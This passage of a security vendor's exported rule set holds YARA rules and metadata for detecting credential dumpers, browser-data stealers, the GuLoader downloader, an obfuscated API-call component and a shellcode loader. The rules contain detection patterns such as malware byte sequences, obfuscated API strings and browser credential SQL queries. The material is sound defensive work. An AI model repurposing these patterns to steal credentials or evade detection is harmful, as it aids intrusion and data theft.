+    "https://attack.mitre.org/techniques/T1003/\nhttps://attack.mitre.org/software/S0008/\nhttps://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use\nhttps://dmcxblue.gitbook.io/red-team-notes/untitled-1/credential-dumping"
+  ],
+  "name": "gsecdump.yar",
+  "content": "rule gsecdump {\n    meta:\n        title = \"Gsecdump Tool\"\n        id = \"b1b9aa05-a687-452f-86ab-098100dc4fce\"\n        description = \"Detects the gsecdump tool, a credential dumper used to extract password hashes and LSA secrets from Windows systems.\\nGsecdump is a tool specifically designed to gather sensitive credentials from compromised Windows operating systems. It targets the Security Accounts Manager (SAM) and Local Security Authority (LSA) to extract plaintext credentials and hashes.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://attack.mitre.org/techniques/T1003/\\nhttps://attack.mitre.org/software/S0008/\\nhttps://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use\\nhttps://dmcxblue.gitbook.io/red-team-notes/untitled-1/credential-dumping\"\n        date = \"2022-06-17\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003;attack.s0008\"\n        classification = \"Windows.HackTool.gsecdump\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        $s1 = \"SamIFree_SAMPR_ENUMERATION_BUFFER\" fullword ascii\n        $s2 = \"SystemFunction025\" fullword ascii\n        $s3 = \"%.*s\\\\%.*s::%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x:%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x:::\" fullword wide\n        $s4 = \"SOFTWARE\\\\Microsoft\\\\WZCSVC\\\\Parameters\\\\Interfaces\" fullword wide\n\n    condition:\n        (uint16(0) == 0x5a4d) and filesize < 1MB and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "gsecdump"
+  ],
+  "rule_creation_date": "2022-06-17",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.gsecdump"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-guloader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582971Z",
+  "creation_date": "2026-03-23T11:46:25.582972Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582978Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/getting-gooey-with-guloader-downloader\nhttps://attack.mitre.org/software/S0561/"
+  ],
+  "name": "guloader.yar",
+  "content": "rule guloader {\n    meta:\n        title = \"GuLoader Trojan\"\n        id = \"bfbaa4ca-765c-4d80-aa84-f0a1132f8555\"\n        description = \"Detects GuLoader, a file downloader that has been used since at least December 2019 to distribute a variety of malware, such as Agent Tesla.\\nGuLoader is a Windows-based trojan primarily designed to download and execute malicious payloads.\\nIt is recommended to perform a thorough investigation of recent file downloads and network activity and to investigate further malicious actions on the host.\"\n        references = \"https://www.elastic.co/security-labs/getting-gooey-with-guloader-downloader\\nhttps://attack.mitre.org/software/S0561/\"\n        date = \"2024-03-15\"\n        modified = \"2025-03-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0561;attack.defense_evasion;attack.t1055;attack.command_and_control;attack.t1071.001;attack.t1105;attack.t1102\"\n        classification = \"Windows.Trojan.GuLoader\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 5c00609cc1f96a521c3df16a9aa4d35f23f4520c1dedcac30f2935f3b198de05\n        // 9a5923c9696f6ba4bb5092af6f4b29b5760c21ea0a60b37e2b6afa726660da32\n\n        $x1 = {\n            31 10                         // xor     [eax], edx\n            83 C0 04                      // add     eax, 4\n            39 D8                         // cmp     eax, ebx\n            75 F7                         // jnz     short loc_4109E6\n            [4-400]\n            FF D0                         // call    eax\n            [10-500]\n            83 EA 04                      // sub     edx, 4\n            31 0A                         // xor     [edx], ecx\n            39 DA                         // cmp     edx, ebx\n            75 F7                         // jnz     short loc_410A15\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "guloader"
+  ],
+  "rule_creation_date": "2024-03-15",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.GuLoader"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1105",
+    "attack.t1102",
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hackbrowserdata_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.587737Z",
+  "creation_date": "2026-03-23T11:46:25.587740Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.587747Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1555/003/\nhttps://attack.mitre.org/techniques/T1539/\nhttps://github.com/moonD4rk/HackBrowserData"
+  ],
+  "name": "hackbrowserdata.yar",
+  "content": "rule hack_browser_data {\n    meta:\n        title = \"HackBrowserData Tool\"\n        id = \"736816d2-1987-4298-8940-990492734ae4\"\n        description = \"Detects HackBrowserData, an open-source tool designed to extract and decrypt browser data.\\nHackBrowserData is used to gather sensitive information such as credentials, cookies, and form data from various browsers including Chrome, Firefox, and Edge.\\nThe tool can decrypt sensitive information stored in the browser's databases and is often used by attackers to gather credentials for lateral movement or financial gain.\\nIt is recommended to investigate related accounts and systems for potential credential exposure and perform credential validation to ensure no unauthorized access has occurred.\"\n        references = \"https://attack.mitre.org/techniques/T1555/003/\\nhttps://attack.mitre.org/techniques/T1539/\\nhttps://github.com/moonD4rk/HackBrowserData\"\n        date = \"2022-10-28\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1555.003;attack.t1539\"\n        classification = \"HackTool.HackBrowserData\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // ef9281e777f8083738653683137fffd0d06f2f8f63b19e1424957a9148e7c463\n        // b16672f3fa38fbdde1207883fbc7774746141ff824f11ef22fb563da846bdef8\n        // 35dcf6a2ef444708fbc21764be7498eb37b2abc3a44e973585123460b8f1c5cd\n        // ef9281e777f8083738653683137fffd0d06f2f8f63b19e1424957a9148e7c463\n        // 49e62206353bb7f248734f2aad56c31b87a2f4f8e705e2c5730af743dc1515a4\n        // 089791d205039a61089efb21ce82d8546107bd2a66b8901bceedd72de46a9835\n        // 9ae7cd82ce55a9059368c404e376eb4110a6b0c30ac9e670bdd045470daba59e\n\n        $sql_query_1 = \"(SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)\" ascii\n        $sql_query_2 = \"SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted\" ascii\n        $sql_query_3 = \"SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM \" ascii\n\n        // \"Browingdata\" typo is intentional.\n        $browing_structs = \"browingdata.\" ascii\n\n        $paths_1 = \"hack-browser-data/internal/\" ascii\n        $paths_2 = \"source/internal/browingdata/\" ascii\n\n    condition:\n        2 of ($sql_query_*)\n        or #browing_structs > 2\n        or #paths_1 > 5\n        or #paths_2 > 5\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hack_browser_data"
+  ],
+  "rule_creation_date": "2022-10-28",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "HackTool.HackBrowserData"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.003",
+    "attack.t1539"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hackedteam_dynamicall_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572592Z",
+  "creation_date": "2026-03-23T11:46:25.572594Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572600Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hackedteam/core-win32/blob/master/DynamiCall/dynamic_import.cpp\nhttps://bromiumlabs.wordpress.com/2015/07/10/government-grade-malware-a-look-at-hackingteams-rat/\nhttps://unit42.paloaltonetworks.com/kimsuky-new-keylogger-backdoor-variant/"
+  ],
+  "name": "hackedteam_dynamicall.yar",
+  "content": "rule hackedteam_dynamicall {\n    meta:\n        title = \"DynamiCall Usage\"\n        id = \"bbceb721-8d29-4e4c-b22f-942089c3ca22\"\n        description = \"Detects obfuscated dynamic API calls from DynamiCall.\\nDynamiCall is a component from an old HackedTeam RAT leak, known for its dynamic API call generation. It has been observed in Kimsuky's KLogExe and FPSpy malware.\\nIt is recommended to analyze the affected process to determine the nature of its activity.\"\n        references = \"https://github.com/hackedteam/core-win32/blob/master/DynamiCall/dynamic_import.cpp\\nhttps://bromiumlabs.wordpress.com/2015/07/10/government-grade-malware-a-look-at-hackingteams-rat/\\nhttps://unit42.paloaltonetworks.com/kimsuky-new-keylogger-backdoor-variant/\"\n        date = \"2024-10-15\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140\"\n        classification = \"Windows.Generic.DynamiCall\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 990b7eec4e0d9a22ec0b5c82df535cf1666d9021f2e417b49dc5110a67228e27\n        // a173a425d17b6f2362eca3c8ea4de9860b52faba414bbb22162895641dda0dc2\n        // faf666019333f4515f241c1d3fcfc25c67532463245e358b90f9e498fe4f6801\n        // c69cd6a9a09405ae5a60acba2f9770c722afde952bd5a227a72393501b4f5343\n        // 2e768cee1c89ad5fc89be9df5061110d2a4953b336309014e0593eb65c75e715\n\n        // Some strings that are present in obfuscated_call.h\n        $str_obf_call_1 = \"OFUBQJ43/EMM\" ascii fullword // NetApi32.dll\n        $str_obf_call_2 = \"OfuVtfsHfuJogp\" ascii fullword // NetUserGetInfo\n        $str_obf_call_3 = \"OfuBqjCvggfsGsff\" ascii fullword // NetApiBufferFree\n        $str_obf_call_4 = \"XJOIUUQ/EMM\" ascii fullword // WinHttp.dll\n        $str_obf_call_5 = \"XjoIuuqHfuJFQspyzDpogjhGpsDvssfouVtfs\" ascii fullword // WinHttpGetIEProxyConfigForCurrentUser\n        $str_obf_call_6 = \"XjoIuuqSfbeEbub\" ascii fullword // WinHttpReadData\n        $str_obf_call_7 = \"XjoIuuqSfdfjwfSftqpotf\" ascii fullword // WinHttpReceiveResponse\n        $str_obf_call_8 = \"XjoIuuqTfoeSfrvftu\" ascii fullword // WinHttpSendRequest\n        $str_obf_call_9 = \"XjoIuuqRvfszPqujpo\" ascii fullword // WinHttpQueryOption\n        $str_obf_call_10 = \"XjoIuuqXsjufEbub\" ascii fullword // WinHttpWriteData\n\n        // https://github.com/hackedteam/core-win32/blob/8eb1326959fcb5c727513b59b86386dae7463683/DynamiCall/dynamic_import.cpp#L383\n        $func_load_library_loop_32 = {\n            52                // push edx\n            FF 15 ?? ?? ?? ?? // call dword [LoadLibraryA]\n            8B F8             // mov edi, eax\n            85 FF             // test edi, edi\n            75 ??             // jne inc_esi\n            6A 64             // push 0x64\n            FF 15 ?? ?? ?? ?? // call dword [Sleep]\n            46                // inc esi\n            85 FF             // test edi, edi\n            75 ??             // jne get_process_address_loop_start\n            8B 55 F8          // mov edx, dword [ebp-0x8]\n            83 FE 04          // cmp esi, 0x4\n            7C ??             // jl loop_start\n        }\n\n        // https://github.com/hackedteam/core-win32/blob/8eb1326959fcb5c727513b59b86386dae7463683/DynamiCall/dynamic_import.cpp#L393\n        $func_get_process_address_loop_32 = {\n            33 F6             // xor esi, esi\n            53                // push ebx\n            57                // push edi\n            FF 15 ?? ?? ?? ?? // call dword [GetProcAddress]\n            8B D8             // mov ebx, eax\n            85 DB             // test ebx, ebx\n            75 ??             // jne inc_esi\n            6A 64             // push 0x64\n            FF 15 ?? ?? ?? ?? // call dword [Sleep]\n            46                // inc esi\n            85 DB             // test ebx, ebx\n            75 ??             // jne loop_success\n            8B 5D FC          // mov ebnx, dword [ebp-0x4]\n            83 FE 04          // cmp esi, 0x4\n            7C ??             // jl loop_start\n        }\n\n        // https://github.com/hackedteam/core-win32/blob/8eb1326959fcb5c727513b59b86386dae7463683/DynamiCall/dynamic_import.cpp#L383\n        $func_load_library_loop_64 = {\n            49 8B CE          // mov rcx, r14\n            FF 15 ?? ?? ?? ?? // call qword [rel LoadLibraryA]\n            48 8B E8          // mov rbp, rax\n            48 85 C0          // test rax, rax\n            75 ??             // jne inc_esi\n            8D 48 64          // lea ecx, [rax+0x64]\n            FF 15 ?? ?? ?? ?? // call qword [rel Sleep]\n            FF C6             // inc esi\n            48 85 ED          // test rbp, rbp\n            75 ??             // jne get_process_address_loop_start\n            83 FE 04          // cmp esi, 0x4\n            7C ??             // jl loop_start\n        }\n\n        // https://github.com/hackedteam/core-win32/blob/8eb1326959fcb5c727513b59b86386dae7463683/DynamiCall/dynamic_import.cpp#L393\n        $func_get_process_address_loop_64 = {\n            49 8B D7          // mov rdx, r15\n            48 8B CD          // mov rcx, rbp\n            FF 15 ?? ?? ?? ?? // call qword [rel GetProcAddress]\n            48 8B F0          // mov rsi, rax\n            48 85 C0          // test rax, rax\n            75 ??             // jne inc_edi\n            8D 48 64          // lea ecx, [rax+0x64]\n            FF 15 ?? ?? ?? ?? // call qword [rel Sleep]\n            FF C7             // inc edi\n            48 85 F6          // test rsi, rsi\n            75 ??             // jne loop_success\n            83 FF 04          // cmp edi, 0x4\n            7C ??             // jl loop_start\n        }\n\n        // https://github.com/hackedteam/core-win32/blob/8eb1326959fcb5c727513b59b86386dae7463683/DynamiCall/dynamic_import.cpp#L356\n        $func_shift_by_1 = {\n            FE ??          // dec byte [???]\n            80 7? 01 00    // cmp byte [???+0x1], 0x0\n            [0-1] 8D 4? 01 // lea ???, [???+0x1]\n            75 ??          // jne shift_start\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and ((3 of ($func_*)) or (6 of ($str_obf_call_*)))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hackedteam_dynamicall"
+  ],
+  "rule_creation_date": "2024-10-15",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.DynamiCall"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hacktool_adget_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581938Z",
+  "creation_date": "2026-03-23T11:46:25.581940Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581946Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/"
+  ],
+  "name": "hacktool_adget.yar",
+  "content": "rule hacktool_adget {\n    meta:\n        title = \"ADGet HackTool\"\n        id = \"3d1eb446-8943-4926-9865-b6bc70088de3\"\n        description = \"Detects the ADGet HackTool.\\nADGet is a tool used for collecting information from Active Directory. Attackers may misuse it during reconnaissance to gather data.\\nIt is recommended to verify the tool's legitimate use and review the parent process for execution context.\"\n        references = \"https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/\"\n        date = \"2023-04-06\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1087.002;attack.t1482;attack.t1069.002;attack.t1018;attack.t1016\"\n        classification = \"Windows.HackTool.ADGet\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // fc4da07183de876a2b8ed1b35ec1e2657400da9d99a313452162399c519dbfc6\n\n        $s1 = \"<zip-file> is not specified\" fullword ascii\n        $s2 = \"AdGet <zip-file> [OPTIONS]\" ascii\n        $s3 = \"{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\" fullword ascii\n        $s4 = \"Error: ldap_get_option(LDAP_OPT_HOST_NAME) failed with code:\" fullword ascii\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hacktool_adget"
+  ],
+  "rule_creation_date": "2023-04-06",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.ADGet"
+  ],
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1016",
+    "attack.t1087.002",
+    "attack.t1018",
+    "attack.t1482",
+    "attack.t1069.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hacktool_gost_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576976Z",
+  "creation_date": "2026-03-23T11:46:25.576978Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576984Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/go-gost\nhttps://github.com/ginuerzh/gost\nhttps://blog.talosintelligence.com/from-blackmatter-to-blackcat-analyzing/\nhttps://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/"
+  ],
+  "name": "hacktool_gost.yar",
+  "content": "rule hacktool_gost {\n    meta:\n        title = \"GOST HackTool\"\n        id = \"73015caa-a681-4c00-9ff4-645fadce86f1\"\n        description = \"Detects the execution of GOST (GO Simple Tunnel), a Go-based tunneling tool designed to establish network tunnels.\\nGOST can be used by adversaries to create reverse network tunnels to a command-and-control (C2) server, enabling communication between the infected system and the attacker.\\nIt is recommended to investigate the process and its network connections to determine its legitimacy.\"\n        references = \"https://github.com/go-gost\\nhttps://github.com/ginuerzh/gost\\nhttps://blog.talosintelligence.com/from-blackmatter-to-blackcat-analyzing/\\nhttps://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/\"\n        date = \"2024-09-19\"\n        modified = \"2025-06-25\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1087.002;attack.t1482;attack.t1069.002;attack.t1018;attack.t1016\"\n        classification = \"HackTool.GOST\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 772b257f1b08e86512180dc79d6d8f349137255b38c8825c0bd202bd40f0780b\n        // 448fbd7b3389fe2aa421de224d065cea7064de0869a036610e5363c931df5b7c\n        // aa2b80e886c4f93400f919ea0e15392cd2cb3d44320b1440cfbace17b3d2c673\n        // 08647765735ed01360a42d314b5e322ce38be7ae93f3c6031d26349f1f764856\n        // ff675dc2bdf3c8db01cbf657d3b1b4ac64b1a0cbe178ca334f5e65700341c969\n\n        // https://github.com/ginuerzh/gost\n        $ginuerzh_1 = \"[socks5] mbind %s <- %s : %s\" ascii\n        $ginuerzh_2 = \"[socks5-udp] read %d UNEXPECTED TCP data from client\" ascii\n        $ginuerzh_3 = \"[socks5-udp] %s >>> %s length: %d\" ascii\n        $ginuerzh_4 = \"[dns] %s - %s request unpack: %v\" ascii\n        $ginuerzh_5 = \"[dns] %s - %s exchange: %v\" ascii\n        $ginuerzh_6 = \"gost %s (%s %s/%s)\" ascii\n        $ginuerzh_7 = \"github.com/ginuerzh/gost.(*tcpRemoteForwardHandler).Init\" ascii\n        $ginuerzh_8 = \"github.com/ginuerzh/gost.tlsConfigQUICALPN\" ascii\n        $ginuerzh_9 = \"github.com/ginuerzh/gost.(*socks5Handler).handleMuxBind\" ascii\n\n        // https://github.com/go-gost\n        $gost_1 = \"bind on %s/%s OK\" ascii\n        $gost_2 = \"connection pool: size=%d, idle=%d\" ascii\n        $gost_3 = \"%s >-< %s\" ascii\n        $gost_4 = \"_GOST_ID=%d\" ascii\n        $gost_5 = \"gost %s (%s %s/%s)\" ascii\n        $gost_6 = \"github.com/go-gost/core/metadata/util.GetStrings\" ascii\n        $gost_7 = \"github.com/go-gost/x/config.(*Config).Load\" ascii\n        $gost_8 = \"github.com/go-gost/x/internal/loader.HTTPLoader\" ascii\n\n    condition:\n        5 of ($ginuerzh_*) or 5 of ($gost_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hacktool_gost"
+  ],
+  "rule_creation_date": "2024-09-19",
+  "rule_modified_date": "2025-06-25",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "HackTool.GOST"
+  ],
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1016",
+    "attack.t1087.002",
+    "attack.t1018",
+    "attack.t1482",
+    "attack.t1069.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-hadesldr_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582063Z",
+  "creation_date": "2026-03-23T11:46:25.582065Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582070Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://labs.cognisys.group/posts/Combining-Indirect-Dynamic-Syscalls-and-API-Hashing/\nhttps://github.com/CognisysGroup/HadesLdr"
+  ],
+  "name": "hadesldr.yar",
+  "content": "rule hadesldr {\n    meta:\n        title = \"HadesLdr HackTool\"\n        id = \"6b60f433-1e9f-4fd7-9852-7feb3d90d13b\"\n        description = \"Detects the HadesLdr HackTool, a shellcode loader implementing indirect syscalls and API hashing.\\nHadesLdr is a sophisticated shellcode loader designed to execute malicious payloads on Windows systems. It uses indirect syscalls and API hashing to bypass traditional EDR detection mechanisms, making it difficult to identify and block.\"\n        references = \"https://labs.cognisys.group/posts/Combining-Indirect-Dynamic-Syscalls-and-API-Hashing/\\nhttps://github.com/CognisysGroup/HadesLdr\"\n        date = \"2023-07-18\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055\"\n        classification = \"Windows.HackTool.HadesLdr\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 08abeb5a9b78f61a3f43b6ed09792e048c81f31fa4d4e9da62ebdd14ffbf4137\n\n        $string1 = \"Missing argument for -k/--key\" fullword ascii\n        $string2 = \"-c / --cipher for cipher\" ascii\n        $string3 = \"[-] Failed in retrieving shellcode (%u)\" 